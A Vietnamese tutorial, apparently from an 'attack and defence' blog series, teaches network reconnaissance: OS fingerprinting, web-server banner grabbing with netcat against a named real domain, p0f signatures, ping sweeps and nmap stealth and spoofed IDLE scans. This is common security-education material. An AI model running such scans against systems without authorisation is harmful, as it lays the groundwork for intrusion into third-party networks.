Khi thực hiện tấn công vào máy chủ mà hacker lại không biết máy chủ đó chạy hệ điều hành gì ? Ở phiên bản nào ? Nghe có vẻ rất là buồn cười, đúng không các bạn ? Do vậy việc xác định hệ điều hành và phiên bản đang chạy trên hệ thống đích cực kỳ quan trọng. Tại sao nó lại quan trọng ? Bởi vì hiện tại các máy chủ không phải đều chạy các hệ điều hành giống nhau, có rất nhiều loại như Windows, Linux, Sun, FreeBSD, … Việc phát hiện một máy chủ chạy một trong những hệ điều hành như Windows, Linux, …cũng đã thấy “oải” rồi, tiếp đến phải xác định phiên bản của hệ điều hành đó ? Bản thân WIndows như các bạn đã biết nó cũng có rất nhiêu phiên bản khác nhau, từ ngôn ngữ đến năm đưa ra ví dụ như Windows 2000, WIndows 2000 Server, Windows XP, WIndows Server 2003, Windows Vista, … Nếu như xác định càng rõ hệ điều hành mà máy đích đang chạy là gì và phiên bản tương ứng giúp hacker biết rõ hơn về hệ thống và thực hiện các pentest không lung tung mà sẽ tập trung vào phiên bản và hệ điều hành mà nó đang chạy. Ví dụ giả sử một hệ thống đích ta biết được nó chính xác là đang chạy Windows thì chắc chắn chúng ta không test lỗi gì mà liên quan bên các OS khác như Linux, SUn, …. Tiếp đến biết được hệ thống đích chạy Windows rồi thì xác định xem nó chạy ở WIndows 2000, 2003, hay Vista, nếu giả sử nó đang chạy Windows Server 2003 thì nó thuộc dòng nào Windows Server 2003 nào ? và liệu nó đang ở Service Pack nào ? SP0, SP1, SP3, … Bởi vì nhiều lỗi không phải ảnh hưởng hết tất cả dòng sản phẩm WIndows hoặc một phiên bản Windows cố định nào ? Một lỗi có thể nó nằm ở SP0 mà nó lại không có ở SP1, SP2 hoặc lỗi xuất hiện khi upgrade lên SP1, SP2, …

Tóm lại là xác định càng rõ hệ điều hành, phiên bản thì đỡ phải lang man trong việc kiểm tra lỗi. Phương thức mà xác định hệ điều hành đang chạy trên hệ thống đích có tên gọi là OS Fingerprinting.

Có 2 kiểu xác định OS Fingerprinting khác nhau

+ Active stack fingerprinting

+ Passive fingerprinting.

Active stack fingerprinting là dựa vào hệ điều hành khởi tạo TCP khác nhau để xác định hệ điều hành đó là gì. Những công cụ sẽ tạo những gói tin và gửi đến máy định và dựa vào sự phản hồi của máy đích và so sánh với database để xác định OS. Tuy nhiên việc kiểm tra này có thể bị Firewall log.

Passive fingerprinting không trực tiếp scan hệ thống để lấy thông tin về hệ điều hành mà nó sử dụng kỹ thuật sniffing thay vì kỹ thuật scanning. Phương pháp này thì ít chính xác hơn là active stack fingerprinting.

Tóm lại việc thực hiện Active Stack Fingerprinting hay là Passive Fingerprinting tất cả đều dựa vào sự khởi tạo TCP stack và những cách mà OS phản hồi khác nhau để xác định hệ điều hành và phiên bản. Một số công cụ thực hiện Active Stack Fingerprinting như XPROBE2, RING v2 và Nmap. Seamoun thường dùng nmap vì tất cả những cái cần thiết nhất cho việc scan, detect, bypass đều có cả ở trong nmap !!!!

Để thực hiện nhận biết hệ điều hành với nmap thực hiện với tùy chọn -O. Ví dụ

D:\Hacking\scanning\nmap>nmap -O 192.168.1.17

Starting Nmap 4.53 ( http://insecure.org ) at 2008-04-08 10:27 SE Asia Standard Time

Interesting ports on 192.168.1.17:

Not shown: 1707 closed ports

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

3389/tcp open ms-term-serv

5101/tcp open admdog

MAC Address: 00:E0:4D:08:67:AD (Internet Initiative Japan)

Device type: general purpose

Running: Microsoft Windows XP

OS details: Microsoft Windows XP SP2

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 4.235 seconds

5) Nhận biết máy chủ Web Server

Sở dĩ seamoun tách riêng phần nhận biết máy chủ Web Server thành một chủ đề bởi vì ngày nay web trở nên rất phổ biến và cách tấn công máy chủ từ web cũng vậy do nó phải luôn luôn được duy trì (trừ khi server web bị DOS nên down thôi !  ). Thực chất việc tấn công một máy chủ web tức là tấn công hệ thống đích đó trên cổng 80. Hiển nhiên nó có nhiều kỹ thuật và sự khác biệt so với những dịch vụ khác , điều này seamoun không cần phải giới thiệu về web cũng thành phần liên quan đến web, do nó quá phổ biến và ai cũng biết. Các bước tiến hành xác định banner của máy chủ web cũng tương tự như các dịch vụ khác. Do nó cũng là một dịch vụ chạy trên TCP port 80 do vậy việc xác định nó cũng kết nối đến máy chủ web trên port 80

Ví dụ

D:\Hacking>nx -vv matbao.com 80

DNS fwd/rev mismatch: matbao.com != smb57.vdrs.net

matbao.com [203.162.163.57] 80 (http) open

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Content-Length: 5118

Content-Type: text/html

Content-Location: http://203.162.163.57/index.htm

Last-Modified: Tue, 27 Sep 2005 07:20:00 GMT

Accept-Ranges: bytes

ETag: “2c739df33c3c51:5ea”

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 08 Apr 2008 08:20:43 GMT

Connection: close

sent 17, rcvd 319: NOTSOCK

Cách trên là cách đơn giản nhất để xác định máy chủ Web đang chạy là gì, và sử dụng công nghệ gì. Ở vì dụ trên thì Web Server là IIS/6.0 chạy ASP.NET hoặc ASP. Nếu một máy chủ Web cố tình sử dụng một số phần mềm như IIS Lockdown, Server Mask đối với IIS hoặc thay đổi tên máy chủ trên cấu hình Apache nhằm mục đích chống hacker xác định dịch vụ web server là gì ? Hacker có thể sử dụng kỹ thuật http fingerprinting cao cấp hơn như sau :

a) Cách 1

Cũng kết nối đến máy chủ web trên cổng 80 như lại sử dụng một lệnh khác (không phải phương thức GET, POST thông thường) và chờ sự phản hồi lỗi từ phía máy chủ web và từ đó xác định máy chủ web đang chạy là gì

Ví dụ

Đối với máy chủ Sun One Web Server nếu thực hiện:

$ nc sun.site.com 80

PUT / HTTP/1.0

Host: sun.site.com

thì nó sẽ phản hồi như sau:

HTTP/1.1 401 Unauthorized

Server: Sun-ONE-Web-Server/6.1

Đối với máy chủ IIS 6.0 nếu thực hiện:

$ nc iis6.site.com 80

PUT / HTTP/1.0

Host: iis6.site.com

thì nó sẽ phản hồi như sau:

HTTP/1.1 411 Length Required

Server: Microsoft-IIS/6.0

Content-Type: text/html

Đối với máy chủ là IIS 5.x nếu thực hiện

$ nc iis5.site.com 80

PUT / HTTP/1.0

Host: iis5.site.com

thì nó sẽ phản hồi như sau:

HTTP/1.1 403 Forbidden

Server: Microsoft-IIS/5.1

Đối với máy chủ là Apache 2.0.x nếu thực hiện:

$ nc apache.site.com 80

PUT / HTTP/1.0

Host: apache.site.com

nó sẽ phản hồi như sau:

HTTP/1.1 405 Method Not Allowed

Server: Apache/2.0.54

Như các bạn đã thấy ở trên đối với máy chủ khác nhau thì nó sẽ có cách phản hồi khi gửi lệnh PUT khác nhau và từ đó ta xác định được dịch vụ máy chủ web đang chạy là gì ?

Cách 2) Dựa vào đặc điểm phản hồi của máy chủ sau khi gửi lệnh HEAD

Cũng kết nối đến máy chủ đích trên port 80 và sử dụng HEAD giống như trường hợp ban đầu như phân tích kỹ hơn phần phản hồi của máy chủ web để nhận định.

HTTP/1.1 200 OK

Date: Mon, 22 Aug 2005 20:22:16 GMT

Server: Apache/2.0.54

Last-Modified: Wed, 10 Aug 2005 04:05:47 GMT

ETag: “20095-2de2-3fdf365353cc0”

Accept-Ranges: bytes

Content-Length: 11746

Cache-Control: max-age=86400

Expires: Tue, 23 Aug 2005 20:22:16 GMT

Connection: close

Content-Type: text/html; charset=ISO-8859-1

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Date: Mon, 22 Aug 2005 20:24:07 GMT

Connection: Keep-Alive

Content-Length: 6278

Content-Type: text/html

Cache-control: private

HTTP/1.1 200 OK

Server: Sun-ONE-Web-Server/6.1

Date: Mon, 22 Aug 2005 20:23:36 GMT

Content-length: 2628

Content-type: text/html

Last-modified: Tue, 01 Apr 2003 20:47:57 GMT

Accept-ranges: bytes

Connection: close

HTTP/1.1 200 OK

Connection: close

Date: Mon, 22 Aug 2005 20:39:23 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 1.1.4322

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 23756

Những phần mà seamoun làm đậm lên các bạn sẽ thấy sự khác biệt giữa những máy chủ web. Nếu nó là Apache thì Date để trước Server ngược lại so với IIS 5.1. Còn đối với Sun thì lengh và type nó viết thường không giống như Apache và IIS. Còn IIS 6.0 thì nó có thêm dòng Connection: close. Tất các cách thực hiện trên đều dựa trên việc kết nối đến máy đích và sử dụng lệnh và chờ đợi sự phản hồi từ máy chủ web, sau đó phân tích sự phản hồi của máy chủ web và đưa ra kết luận về máy chủ web. Một công cụ mạnh dùng để thực hiện http fingerprinting là httprint Tool. Nó cho phép xác định dịch vụ web đang chạy là gì ? Là một đối thủ nặng ký đối với những công cụ chống banner grabbing như Server Mask , IIS Lockdown

Demo

Trong phần demo của mình, seamoun sẽ thực hiện những kỹ thuật trên và tiếp đến là sử dụng công cụ httprint trong việc xác định máy chủ web.

7) Giới thiệu Passive OS Fingerprinting

Kỹ thuật Passive OS Fingerprinting là liên quan đến việc sử dụng sniffing để nhận diện hệ điều hành khác với Active OS Fingerprinting dùng scanning để thực hiện nhận diện hệ điều hành.

Dựa vào đặc tính của packet được sử dụng để nhận biết hệ điều hành. Sau đây là một số thuộc tính của TCP/IP dùng để xét khi thực hiện Passive OS Fingerprinting:

1.      TTL: Dựa vào Time-To-Live của mỗi packet trong hệ điều hành

2.      Window size: Tùy theo hệ điều hành mà có thể set các window size khác nhau.

3.      DF (Don’t Fragment bit): Hệ điều hành có thiết lập việc phân rã bit hay không ?

4.      …

Bằng việc sniffing và phân tích packet có các thuộc tính ở trên, chương trình sẽ so sánh với một database thuộc tính và đưa ra kết quả của hệ điều hành sử dụng là gì. Một số công cụ thực hiện Passive OS Fingerprinting có thể kể đến là siphon (http://packetstormsecurity.org/UNIX/utilities/siphon-v.666.tar.gz ), p0f (http://lcamtuf.coredump.cx/p0f.shtml)

Ví dụ một số dấu hiệu nhận biết hệ điều hành của chương trình p0f

# —————– Windows —————–

# Windows TCP/IP stack is a mess. For most recent XP, 2000 and

# seem. Luckily for us, almost all Windows 9x boxes have an

8192:32:1:44:M*:.:Windows:3.11 (Tucows)

S44:64:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:95

8192:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:95b

# Windows 98 it is no longer possible to tell them from each other

S44:32:1:48:M*,N,N,S:.:Windows:98 (low TTL) (1)

8192:32:1:48:M*,N,N,S:.:Windows:98 (low TTL) (2)

%8192:64:1:48:M536,N,N,S:.:Windows:98 (13)

%8192:128:1:48:M536,N,N,S:.:Windows:98 (15)

S4:64:1:48:M*,N,N,S:.:Windows:98 (1)

S6:64:1:48:M*,N,N,S:.:Windows:98 (2)

S12:64:1:48:M*,N,N,S:.:Windows:98 (3

T30:64:1:64:M1460,N,W0,N,N,T0,N,N,S:.:Windows:98 (16)

32767:64:1:48:M*,N,N,S:.:Windows:98 (4)

37300:64:1:48:M*,N,N,S:.:Windows:98 (5)

46080:64:1:52:M*,N,W3,N,N,S:.:Windows:98 (RFC1323+)

65535:64:1:44:M*:.:Windows:98 (no sack)

S16:128:1:48:M*,N,N,S:.:Windows:98 (6)

S16:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:Windows:98 (7)

S26:128:1:48:M*,N,N,S:.:Windows:98 (8)

T30:128:1:48:M*,N,N,S:.:Windows:98 (9)

32767:128:1:52:M*,N,W0,N,N,S:.:Windows:98 (10)

60352:128:1:48:M*,N,N,S:.:Windows:98 (11)

60352:128:1:64:M*,N,W2,N,N,T0,N,N,S:.:Windows:98 (12)

T31:128:1:44:M1414:.:Windows:NT 4.0 SP6a (1)

64512:128:1:44:M1414:.:Windows:NT 4.0 SP6a (2)

8192:128:1:44:M*:.:Windows:NT 4.0 (older)

# Windows XP and 2000. Most of the signatures that were

65535:128:1:48:M*,N,N,S:.:Windows:2000 SP4, XP SP1+

%8192:128:1:48:M*,N,N,S:.:Windows:2000 SP2+, XP SP1+ (seldom 98)

S20:128:1:48:M*,N,N,S:.:Windows:SP3

S45:128:1:48:M*,N,N,S:.:Windows:2000 SP4, XP SP1+ (2)

40320:128:1:48:M*,N,N,S:.:Windows:2000 SP4

S6:128:1:48:M*,N,N,S:.:Windows:XP, 2000 SP2+

S12:128:1:48:M*,N,N,S:.:Windows:XP SP1+ (1)

S44:128:1:48:M*,N,N,S:.:Windows:XP SP1+, 2000 SP3

64512:128:1:48:M*,N,N,S:.:Windows:XP SP1+, 2000 SP3 (2)

32767:128:1:48:M*,N,N,S:.:Windows:XP SP1+, 2000 SP4 (3)

# Windows 2003 & Vista

8192:128:1:52:M*,W8,N,N,N,S:.:Windows:Vista (beta)

32768:32:1:52:M1460,N,W0,N,N,S:.:Windows:2003 AS

65535:64:1:52:M1460,N,W2,N,N,S:.:Windows:2003 (1)

65535:64:1:48:M1460,N,N,S:.:Windows:2003 (2)

S52:128:1:48:M1260,N,N,S:.:Windows:XP/2000 via Cisco

65520:128:1:48:M*,N,N,S:.:Windows:XP bare-bone

16384:128:1:52:M536,N,W0,N,N,S:.:Windows:2000 w/ZoneAlarm?

2048:255:0:40:.:.:Windows:.NET Enterprise Server

44620:64:0:48:M*,N,N,S:.:Windows:ME no SP (?)

S6:255:1:48:M536,N,N,S:.:Windows:95 winsock 2

32000:128:0:48:M*,N,N,S:.:Windows:XP w/Winroute?

16384:64:1:48:M1452,N,N,S:.:Windows:XP w/Sygate? (1)

17256:64:1:48:M1460,N,N,S:.:Windows:XP w/Sygate? (2)

*:128:1:48:M*,N,N,S:U:-Windows:XP/2000 while downloading (leak!)

32768:32:1:44:M1460:.:Windows:CE 3

3100:32:1:44:M1460:.:Windows:CE 2.0

*:128:1:52:M*,N,W0,N,N,S:.:@Windows:XP/2000 (RFC1323+, w, tstamp-)

*:128:1:52:M*,N,W*,N,N,S:.:@Windows:XP/2000 (RFC1323+, w+, tstamp-)

*:128:1:52:M*,N,N,T0,N,N,S:.:@Windows:XP/2000 (RFC1323+, w-, tstamp+)

*:128:1:64:M*,N,W0,N,N,T0,N,N,S:.:@Windows:XP/2000 (RFC1323+, w, tstamp+)

*:128:1:64:M*,N,W*,N,N,T0,N,N,S:.:@Windows:XP/2000 (RFC1323+, w+, tstamp+)

*:128:1:48:M536,N,N,S:.:@Windows:98

*:128:1:48:M*,N,N,S:.:@Windows:XP/2000

Một số dấu hiệu để nhận biết hệ điều hành Linux

# —————– Linux ——————-

S1:64:0:44:M*:A:Linux:1.2.x

512:64:0:44:M*:.:Linux:2.0.3x (1)

16384:64:0:44:M*:.:Linux:2.0.3x (2)

2:64:0:44:M*:.:Linux:2.0.3x (MkLinux) on Mac (1)

64:64:0:44:M*:.:Linux:2.0.3x (MkLinux) on Mac (2)

S4:64:1:60:M1360,S,T,N,W0:.:Linux:2.4 (Google crawlbot)

S4:64:1:60:M1430,S,T,N,W0:.:Linux:2.4-2.6 (Google crawlbot)

S2:64:1:60:M*,S,T,N,W0:.:Linux:2.4 (large MTU?)

S3:64:1:60:M*,S,T,N,W0:.:Linux:2.4 (newer)

S4:64:1:60:M*,S,T,N,W0:.:Linux:2.4-2.6

S3:64:1:60:M*,S,T,N,W1:.:Linux:2.6, seldom 2.4 (older, 1)

S4:64:1:60:M*,S,T,N,W1:.:Linux:2.6, seldom 2.4 (older, 2)

S3:64:1:60:M*,S,T,N,W2:.:Linux:2.6, seldom 2.4 (older, 3)

S4:64:1:60:M*,S,T,N,W2:.:Linux:2.6, seldom 2.4 (older, 4)

T4:64:1:60:M*,S,T,N,W2:.:Linux:2.6 (older, 5)

S4:64:1:60:M*,S,T,N,W5:.:Linux:2.6 (newer, 1)

S4:64:1:60:M*,S,T,N,W6:.:Linux:2.6 (newer, 2)

S4:64:1:60:M*,S,T,N,W7:.:Linux:2.6 (newer, 3)

T4:64:1:60:M*,S,T,N,W7:.:Linux:2.6 (newer, 4)

S20:64:1:60:M*,S,T,N,W0:.:Linux:2.2 (1)

S22:64:1:60:M*,S,T,N,W0:.:Linux:2.2 (2)

S11:64:1:60:M*,S,T,N,W0:.:Linux:2.2 (3)

S4:64:1:48:M1460,N,W0:.:Linux:2.4 in cluster

32767:64:1:60:M16396,S,T,N,W0:.:Linux:2.4 (loopback)

32767:64:1:60:M16396,S,T,N,W2:.:Linux:2.6 (newer, loopback)

S8:64:1:60:M3884,S,T,N,W0:.:Linux:2.2 (loopback)

16384:64:1:60:M*,S,T,N,W0:.:-Linux:2.2 (Opera?)

32767:64:1:60:M*,S,T,N,W0:.:-Linux:2.4 (Opera?)

S22:64:1:52:M*,N,N,S,N,W0:.:Linux:2.2 (tstamp-)

S4:64:1:52:M*,N,N,S,N,W0:.:Linux:2.4 (tstamp-)

S4:64:1:52:M*,N,N,S,N,W2:.:Linux:2.6 (tstamp-)

S4:64:1:44:M*:.:Linux:2.6? (barebone, rare!)

T4:64:1:60:M1412,S,T,N,W0:.:Linux:2.4 (rare!)

27085:128:0:40:.:.:Dell:PowerApp cache (Linux-based)

Ngoài Linux và Windows còn các dấu hiệu đề nhận biết các hệ điều hành khác

Cách thức điều tra hệ điều với kỹ thuật Passive OS Fingerprint

Ngoài việc sử dụng các chương trình trên có thể điều tra hệ điều hành thông qua một trang web nổi tiếng về report các OS: http://netcraft.com. Khi truy cập trang Web này chỉ cần gõ domain của server đích cần kiểm tra thì Website sẽ thông báo chi tiết các OS sử dụng cũng như ngày giờ và các thông tin về Web Server sử dụng cũng như các thành phần khác…

Ví dụ một điều tra OS đối với domain vnexpress.net

Ưu điểm của kỹ thuật Passive OS Fingerprint là không thực hiện scanning mà sniffing, và từ kết quả phân tích sniffing với các dấu hiệu tương ứng so với database đưa ra kết quả của OS đang chạy là gì, cho nên không làm “ồn ào” đối với hệ thống đích như là thực hiện Active OS Fingerprinting. Tất nhiên nhược điểm lớn nhất của kỹ thuật này là tính chính xác không cao

Link download demo tại đây

Tấn công và phòng thủ hệ thống (Phần 3)


II. SCANNING & ENUMERATION

Quá trình Scanning cũng thực chất là tiếp tục quá trình thu tập thông tin về hệ thống nhưng lúc này hacker đã tác động trực tiếp đến máy chủ mà hacker cần tấn công.

Với kết quả có được từ footprinting hệ thống hacker đã xác định được hai thông tin quan trọng nhất là địa chỉ (hoặc dãy địa chỉ) IP và hostname (địa chỉ IP và hostname là gì thì các bạn tự tìm hiểu !!!).

Quá trình Scanning có thể được chia thành các bước sau:

Xác định hệ thống có đang “sống” hay không ? —> Kiểm tra các port nào đang mở —> Xác định những dịch vụ nào đang chạy tương ứng với cổng đang mở —> Xác định banner của từng dịch vụ và hệ điều hành và phiên bản của nó –> Kiểm tra lỗi của những dịch vụ đang chạy –> Xây dựng sơ đồ những host bị lỗi —> Chuẩn bị một proxy tốt và tấn công.

1) Ping Sweep

Xác định hệ thống đang “sống” hay không rất quan trọng vì có thể hacker ngừng ngay tấn công khi xác định hệ thống đó đã “chết”. Việc xác định hệ thống có “sống” hay không có thể sử dụng kỹ thuật Ping Scan hay còn gọi với tên là Ping Sweep. Bản chất của quá trình Ping Sweep là gì ? Bản chất của quá trình này là gửi một ICMP Echo Request đến máy chủ mà hacker đang muốn tấn công và mong đợi một ICMP Reply. (Giao thức ICMP là gì ? Và nó có tác dụng như thế nào ? Các bạn tự tìm hiểu nhé !).

Đa số các firewall thì luôn luôn chặn Ping do vậy việc phòng chống Ping Sweep rất dễ dàng. Lý do chặn ICMP ngoài việc chống Ping Sweep ra thì theo seamoun cũng nên chặn ICMP nếu như có firewall nào mà chưa chặn bởi vì hacker cũng có thể lợi dụng ICMP để đưa backdoor trên giao thức này.

Công cụ có sẵn là sử dụng lệnh ping có sẵn trên Windows hoặc Linux hoặc sử dụng những chương trình chuyên dụng sau :

Pinger, Friendly Pinger, và WS Ping Pro , Hping2. Trong những công cụ Pinger, WS Ping Pro thì mình thích nhất là Hping2 vì nó có nhiều tùy chọn cũng như nó có thể detect được host đó còn “sống” hay “chết” cho dù firewall có chặn ICMP

2) Scan Port

Như đã đề cập ở trên công việc tiếp theo sau khi Ping Sweep là Scan Port và xác định những cổng đang mở và từ đó xác định dịch vụ đang chạy là gì ? Phiên bản nào ? … Thông thường thì các chương trình Scan Port có sẵn những tùy chọn kết hợp sẵn việc scan cổng và xác định dịch vụ đang chạy cũng như phiên bản tương ứng. Những công cụ Scan Port thì rất nhiều và mỗi công cụ có một thế mạnh riêng của nó. Công cụ Scan Port nổi tiếng mà nhiều bài viết trong HVA cũng đã đề cập đó là Nmap. Trong phần này seamoun sẽ đề cập những phần chính liên quan đến Nmap, những tùy chọn hoặc những tính năng khác của Nmap thì các bạn tự tìm hiểu ! Yêu cầu của phân này là bạn phải hiểu được các giao thức TCP, UDP và cấu trúc của một packet khi một máy tính gửi đến máy tính khác trên mạng. Sở dĩ Nmap được sử dụng rộng rãi bởi vì nó các phiên bản tương ứng với các OS khác nhau (Unix, Linux, Windows). Nmap hỗ trợ nhiều kỹ thuật scan port bao gồm các kỹ thuật như : TCP, XMAS, SYN, Null Scan, Windows Scan, ACK Scan.

a) TCP Scan

Kỹ thuật TCP Scan tức là Nmap sẽ kiểm tra cổng trên hệ thống đích có mở hay đóng bằng cách thực hiện kết nối TCP đầy đủ. Thực hiện kết nối TCP đầy đủ tức là sao ?. Tức là khi một máy tính A kết nối và gửi dữ liệu đến máy B qua giao thức TCP thì máy tính A và B phải thực hiện cơ chế “bắt tay” 3 bước trước khi truyền dữ liệu. Giả sửa máy A có IP = 192.168.1.2 và máy tính B có IP = 192.168.1.3. Máy tính A muốn kết nối máy tính B qua giao thức

TCP thì sẽ thực hiện qua các bước sau:

1) A (192.168.1.2)— gửi SYN packet —–> B (192.168.1.3)

2) A (192.168.1.2)<– gửi SYN/ACK packet —B (192.168.1.3)

3) A (192.168.1.2)— gửi ACK packet ——>B (192.168.1.3)

Demo sau sẽ cho bạn thấy rõ cơ chế này. Trong ví dụ này máy tính A có IP 192.168.1.2 và máy tính B có IP 192.168.1.8

Demo thứ 2

Sử dụng Nmap để thực hiện Port Scan với kỹ thuật TCP Scan.

Địa chỉ IP đích: 192.168.1.8. Mở cổng TCP 7799

Địa chỉ IP nguồn: 192.168.1.6 (Sử dụng nmap để scan).

Tùy chọn của nmap để thực hiện TCP Scan là : -sT.

Ví dụ bạn muốn Port Scan một máy tính có địa chỉ IP 192.168.1.8 với kỹ thuật

TCP Scan : nmap -sT 192.168.1.8 hoặc nmap 192.168.1.8 -sT. Trong demo này Seamoun sử dụng netcat để listen TCP với port 7799 và sử dụng nmap để kiểm tra port đó có open hay close.

Nếu trong ví dụ sau mà port 7799 close thì khi thực hiện quét bằng Nmap thì sau khi nmap gửi SYN packet đến IP:192.168.1.8. Vì IP=192.168.1.8 không mở port 7799 nên nó sẽ gửi Packet với cờ TCP (ACK và RST được bật) đến IP 192.168.1.6 (đang sử dụng nmap để scan).

b) SYN, XMAS, FIN, NULL, IDLE Scan

+ SYN hoặc còn gọi là Stealth được gọi là kỹ thuật quét bán mở bởi vì nó không hoàn tất bắt tay ba bước của TCP (3 bước xác lập kết nối đã giới thiệu ở trên).

Một hacker gửi một SYN đến đích, nếu một SYN/ACK được nhận trở lại thì nó hoàn tất việc scan và xác địch port đang mở. Nếu một RST được nhận trở lại từ đích nghĩa là cổng đóng.

Những cờ như SYN, ACK, RST mà seamoun đã đề cập cho đến thời điểm này, vậy nó là gì ? Nó có tác dụng gì trong kết nối ?Ở đây seamoun chỉ giới thiệu chức năng của những cờ này trong packet TCP. Bởi vì TCP là một giao thức kết nối, do vậy nó cần những cờ để xác lập quá trình thiết lập cho một kết nối, việc khởi động lại một kết nối thất bại và hoàn tất một kết nối là một phần của giao thức.

Những cảnh báo của giao thức này là được gọi là các cờ (flags). TCP có các cờ là ACK, RST, SYN, URG, PSH và FIN.

Và ý nghĩa của nó như sau:

1) SYN-Synchronize. Khởi tạo một kết nối giữa các host.

2) ACK-Acknowledge. Thiết lập kết nối giữa các host.

3) PSH-Push. Hệ thống đang chuyển tiếp dữ liệu từ bộ nhớ đệm.

4) URG-Urgent. Dữ liệu trong packet cần phải được sử lý nhanh.

5) FIN-Finish. Không có sự trao đổi nào nữa.

6) RST-Reset. Reset lại kết nối.

Các bạn có thể xem thêm tại http://www.faqs.org/rfcs/rfc793.html)

Để thực hiện kỹ thuật scan SYN thì làm như sau: nmap -sS 192.168.1.3 hoặc nmap 192.168.1.3 -sS

Trở lại vấn đề về các kỹ thuật Scan. Kỹ thuật tiếp theo mà seamoun giới thiệu có trong Nmap Scan là

+ XMAS Scan là gửi gói tin với ba cờ được thiết lập FIN, URG, PSH. Nếu cổng mở thì không có sự phản hồi nào, nhưng nếu cổng đóng thì nó phản hồi với RST/ACK.

XMAS chỉ làm việc Unix không làm việc trên Windows.

Để thực hiện kỹ thuật scan XMAS thì làm như sau: nmap -sX 192.168.1.3 hoặc nmap 192.168.1.3 -sX

+ FIN Scan giống như XMAS Scan những chỉ với cờ FIN được thiết lập.

FIN cũng nhận phản hồi như XMAS Scan, nếu không có phản hồi thì tức cổng mở, mà có phản hồi RST/Ack thì cổng đóng

Để thực hiện kỹ thuật scan FIN thì làm như sau: nmap -sF 192.168.1.3 hoặc nmap 192.168.1.3 -sF

+ NULL Scan cũng như XMAS và FIN nó send với tất cả các cờ là tắt.

Để thực hiện kỹ thuật scan NULL thì làm như sau: nmap -sN 192.168.1.3 hoặc nmap 192.168.1.3 -sN

+ IDLE scan là sử dụng địa chỉ IP giả để gửi SYN đến hệ thống đích.

Phụ thuộc vào sự phản hồi , cổng được xác định là mở hoặc đóng.

IDLE scan xác định cổng scan dựa trên việc quan sát gói tin IP sequence numbers

Để thực hiện kỹ thuật scan IDLE thì làm như sau: nmap -sI 192.168.1.3 hoặc nmap 192.168.1.3 -sI

Demo 3

Địa chỉ IP đích: 192.168.1.3

Địa chỉ IP sử dụng Nmap: 192.168.1.6

Trong phần demo này mình sử dụng máy đích chạy Linux và listen port 7799. Sở dĩ seamoun chọn Linux vì một số kỹ thuật scan chỉ có thể thực hiện trên Linux không thể thực hiện trên Windows. Do vậy chạy Linux để demo tất cả trường hợp.

Các bạn sẽ thấy trong demo khi port 7799 mở (đóng) thì với kỹ thuật scan SYN, FIN, XMAS, NULL các cờ sẽ bật (tắt) khác nhau và phản hồi khác nhau.

c) Giới thiệu IDLE Scan

Mỗi IP packet được gửi trên mạng có một số duy nhất được gọi là fragment identification (gọi là IPID). Kỹ thuật thuật scan IDLE dựa vào đặc điểm của IPID này mà xác định một cổng đóng hay mở. Và lợi dụng một máy thứ 3 làm trung gian để thực hiện.

Vậy kỹ thuật IDLE Scan được thực hiện như thế nào ? Các bước thực hiện IDLE Scan làm sao ?

Nhắc lại phương thức kết nối TCP

Như seamoun đã giới thiệu và demo ở phần TCP với kết nối đầy đủ thì một cổng được gọi “open” khi một client gửi đến đích với SYN packet trên cổng thích hợp. Nếu cổng đó mở thì nó sẽ gửi trở lại với packet SYN/ACK và nếu cổng đó đóng nó sẽ gửi lại RST.

Giả sử ta có một máy chủ abc.com và đích mà hacker cần scan là server.com.

Bước 1: Hacker thực hiện một kết nối SYN/ACK packet đến abc.com và quan sát IPID

Và hiển nhiên máy chủ abc.com sẽ gửi lại RST packet và ta cũng biết được IPID . Ví dụ IPID cho trường hợp này là 33668.

Bước 2: Sau đó hacker sẽ thực hiện gửi packet đến server.com với địa chỉ IP giả là máy chủ abc.com. Và hiển nhiên máy chủ server.com sẽ gửi lại cho máy chủ abc.com

với SYN/ACK được bật và máy chủ abc.com sẽ gửi RST packet trong trường hợp server.com mở cổng mà hacker đang cần kiểm tra. Giả sử trong trường hợp này cổng mở thì khi abc.com gửi RST packet đi thì nó sẽ tăng IPID lên 1. Vậy lúc này IPID có giá trị 33669. Và sẽ không tăng IPID nếu như cổng cần kiểm tra đóng.

Bước 3: Hacker thực hiện gửi SYN/ACK đến abc.com và kiểm tra thử IPID lúc này là bao nhiêu. Nếu như IPID mới bằng IPID cũ + 2 tức là cổng đó mở và ngược

lại thì cổng cần kiểm tra đó đóng.

Mô hình minh họa

Bước 1: Thăm dò IPID

Kẻ tấn công —- >gửi packet (SYN/ACK) ————————–> abc.com

Kẻ tấn công <— gửi packet (RST. Giả sử có IPID=33668)< ——–abc.com

Bước 2: Thực hiện gửi packet đến đích cần kiểm tra port với IP nguồn giả địa chỉ abc.com

Kẻ tấn công —-> gửi packet (SYN có địa chỉ IP nguồn là abc.com và cổng cần kiểm tra) —> server.com

Trường hợp cổng mở nó thực hiện như sau:

abc.com <—- gửi packet (SYN/ACK)<———————————————————– server.com

abc.com —–> gửi packet (RST có IPID=33669)———————————————–>server.com

Trường hợp cổng đóng nó thực hiện như sau

abc.com <—- gửi packet (RST)——————————————————————-server.com

Bước 3: Thăm dò lại IPID

Trong trường hợp cổng cần kiểm tra là mở thì

Kẻ tấn công —> gửi packet (SYN/ACK)—————————->abc.com

Kẻ tấn công <—- gửi packet (RST có IPID=33670)—————–abc.com

Trong trường hợp cổng cần kiểm tra đóng thì số IPID chỉ tăng lên 1

Kết luận: Cốt lõi của IDLE Scan tức là dựa vào sự quan sát IPID mà tăng không ngẫu nhiên để kết luận cổng đóng hay mở

Demo IDLE Scan

Đối với IDLE Scan trong nmap thì ta sử dụng tùy chọn : sI và lựa chọn một máy thứ 3 để làm trung gian như đã đề cập ở trên. Mặc định thì chương trình scan nối với máy trung gian trên port 80, các bạn có thể sửa đổi chúng bằng cách sử dụng <ip>:<chỉ định port>.

